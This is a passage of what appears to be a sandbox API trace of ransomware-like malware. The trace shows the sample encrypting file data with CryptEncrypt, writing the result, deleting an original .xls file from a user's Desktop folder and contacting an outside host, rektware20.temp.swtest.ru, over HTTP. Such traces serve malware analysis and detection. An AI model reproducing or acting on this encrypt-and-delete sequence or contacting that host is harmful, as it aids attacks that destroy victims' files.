lpMsg=0x130ec34) returned 0 [0081.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.249] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.249] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.249] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0081.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0081.249] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0081.249] CryptEncrypt (in: hKey=0x164c770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18053f0*, pdwDataLen=0x130e618*=0xc2e7, dwBufLen=0xc2f0 | out: pbData=0x18053f0*, pdwDataLen=0x130e618*=0xc2f0) returned 1 [0081.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.249] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.250] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.250] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.250] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.250] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.250] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0081.250] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.250] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0081.250] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.250] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.250] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.250] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.250] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0081.250] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.250] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.250] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.255] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.255] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.255] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.256] WriteFile (in: hFile=0x3c8, lpBuffer=0x17ece18*, nNumberOfBytesToWrite=0xc2f0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ece18*, lpNumberOfBytesWritten=0x130f01c*=0xc2f0, lpOverlapped=0x0) returned 1 [0081.257] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.258] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.258] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0081.258] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.258] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.258] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0081.258] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0081.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16211c8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0081.258] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0081.258] CryptDestroyKey (hKey=0x164c770) returned 1 [0081.258] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.258] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.258] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0081.259] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.259] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0081.259] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0081.259] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0081.259] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.259] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.259] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0081.259] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.259] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.259] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.259] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.259] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.259] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0081.259] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.259] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0081.259] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.260] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.260] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.260] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.260] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0081.260] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.260] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.260] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0081.260] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0081.260] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0081.260] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0081.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0081.260] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0081.260] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0081.260] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.261] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.261] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0081.261] FreeLibrary (hLibModule=0x74c60000) returned 1 [0081.261] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.261] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.261] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.261] CloseHandle (hObject=0x3d8) returned 1 [0081.261] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.261] CloseHandle (hObject=0x3c8) returned 1 [0081.267] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.267] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0081.267] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", lpFilePart=0x0) returned 0x2f [0081.268] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\vsnpq2d9.xls")) returned 0x20 [0081.268] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7b0 [0081.268] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\vsnpq2d9.xls")) returned 1 [0081.287] FindNextFileW (in: hFindFile=0x164c7b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0081.287] FindClose (in: hFindFile=0x164c7b0 | out: hFindFile=0x164c7b0) returned 1 [0081.288] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0081.288] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.288] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.288] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.288] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0081.289] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0081.289] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.289] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0081.289] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0081.289] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0081.289] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0081.289] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c) returned 1 [0081.289] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0081.289] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0081.290] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0081.291] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0081.291] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0081.291] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0081.291] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291e0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0081.291] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629240, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629240*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0081.291] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0081.292] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0081.292] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0081.292] CloseHandle (hObject=0x0) returned 0 [0081.292] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.292] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.292] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.292] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.292] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.292] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.292] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.292] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.292] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.292] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.292] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dXz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xz6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.293] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vx1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZhAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 